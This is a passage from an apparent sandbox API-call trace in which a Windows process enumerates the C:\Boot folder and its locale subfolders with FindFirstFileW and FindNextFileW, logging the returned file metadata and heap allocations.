ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0164.776] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0164.776] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0164.776] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0164.776] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.776] GetProcessHeap () returned 0x6a0000 [0164.776] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0164.776] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0164.777] GetProcessHeap () returned 0x6a0000 [0164.777] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.777] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.777] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.777] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.777] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.778] GetProcessHeap () returned 0x6a0000 [0164.778] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0164.778] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0164.778] GetProcessHeap () returned 0x6a0000 [0164.778] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.778] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.778] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.779] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.779] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.779] GetProcessHeap () returned 0x6a0000 [0164.779] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0164.779] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0164.779] GetProcessHeap () returned 0x6a0000 [0164.779] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.961] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.962] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.962] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.962] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.962] GetProcessHeap () returned 0x6a0000 [0164.962] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0164.962] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0164.962] GetProcessHeap () returned 0x6a0000 [0164.962] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.962] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.962] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.962] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.963] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.963] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.963] GetProcessHeap () returned 0x6a0000 [0164.963] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0164.963] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0164.963] GetProcessHeap () returned 0x6a0000 [0164.963] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.963] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.963] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.963] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.963] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.963] GetProcessHeap () returned 0x6a0000 [0164.963] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0164.963] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0164.964] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0164.964] GetProcessHeap () returned 0x6a0000 [0164.964] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.964] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.964] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.964] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.964] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.964] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.965] GetProcessHeap () returned 0x6a0000 [0164.965] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0164.965] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0164.965] GetProcessHeap () returned 0x6a0000 [0164.965] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0164.965] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0165.141] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.141] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0165.142] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0165.142] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0165.142] GetProcessHeap () returned 0x6a0000 [0165.142] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d1500 | out: hHeap=0x6a0000) returned 1 [0165.142] FindNextFileW (in: hFindFile=0x794de8, lpFindFileData=0x2e6f630 | out: lpFindFileData=0x2e6f630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0165.142] GetProcessHeap () returned 0x6a0000 [0165.142] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x36d1500 [0165.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, 